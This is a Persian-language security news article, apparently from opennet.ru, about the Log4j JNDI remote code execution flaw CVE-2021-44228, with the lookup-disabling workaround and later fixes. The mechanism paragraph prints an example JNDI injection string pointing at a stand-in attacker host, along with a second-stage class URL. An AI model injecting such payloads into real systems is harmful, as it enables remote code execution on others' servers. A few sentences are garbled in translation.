در Apache Log4j، یک چارچوب محبوب برای سازماندهی ورود به برنامههای جاوا، یک آسیبپذیری حیاتی شناسایی شده است که اجازه میدهد زمانی که یک مقدار فرمتشده خاص در قالب «{jndi:URL}» در گزارش نوشته میشود، کد دلخواه اجرا شود. این حمله را می توان بر روی برنامه های جاوا انجام داد که مقادیر دریافت شده از منابع خارجی را ثبت می کنند، به عنوان مثال، هنگام نمایش مقادیر مشکل دار در پیام های خطا.
خاطرنشان می شود که تقریباً تمام پروژه هایی که از چارچوب هایی مانند Apache Struts، Apache Solr، Apache Druid یا Apache Flink استفاده می کنند، از جمله Steam، Apple iCloud، مشتریان و سرورهای Minecraft تحت تأثیر این مشکل هستند. انتظار میرود که این آسیبپذیری میتواند منجر به موجی از حملات گسترده به برنامههای شرکتی شود که تاریخچه آسیبپذیریهای حیاتی را در چارچوب Apache Struts تکرار میکند، که طبق یک تخمین تقریبی، ۶۵ درصد از Fortune در برنامههای کاربردی وب استفاده میکنند. 65 شرکت. از جمله تلاش برای اسکن شبکه برای سیستم های آسیب پذیر.
مشکل با این واقعیت تشدید می شود که یک اکسپلویت کار قبلا منتشر شده است، اما اصلاحات برای شاخه های پایدار هنوز جمع آوری نشده است. شناسه CVE هنوز اختصاص داده نشده است. رفع مشکل فقط در شاخه آزمایشی log4j-2.15.0-rc1 گنجانده شده است. به عنوان راهحلی برای مسدود کردن آسیبپذیری، توصیه میشود پارامتر log4j2.formatMsgNoLookups را روی true تنظیم کنید.
این مشکل به دلیل این واقعیت است که log4j از پردازش ماسکهای ویژه "{}" در خطوط خروجی به گزارش پشتیبانی میکند، که در آن کوئریهای JNDI (نامگذاری جاوا و رابط دایرکتوری) میتوانند اجرا شوند. حمله به ارسال یک رشته با جایگزینی «${jndi:ldap://attacker.com/a}» خلاصه میشود، که پس از پردازش آن، log4j یک درخواست LDAP برای مسیر کلاس جاوا به سرور attacker.com ارسال میکند. . مسیر بازگردانده شده توسط سرور مهاجم (به عنوان مثال، http://second-stage.attacker.com/Exploit.class) در چارچوب فرآیند فعلی بارگیری و اجرا می شود، که به مهاجم اجازه می دهد کد دلخواه را بر روی سیستم با حقوق برنامه فعلی.
ضمیمه 1: این آسیب پذیری به شناسه CVE-2021-44228 اختصاص یافته است.
ضمیمه 2: راهی برای دور زدن حفاظت اضافه شده توسط انتشار log4j-2.15.0-rc1 شناسایی شده است. یک به روز رسانی جدید، log4j-2.15.0-rc2، با محافظت کامل تر در برابر آسیب پذیری پیشنهاد شده است. این کد تغییرات مرتبط با عدم وجود پایان غیرعادی را در مورد استفاده از URL JNDI با فرمت نادرست برجسته می کند.
منبع: opennet.ru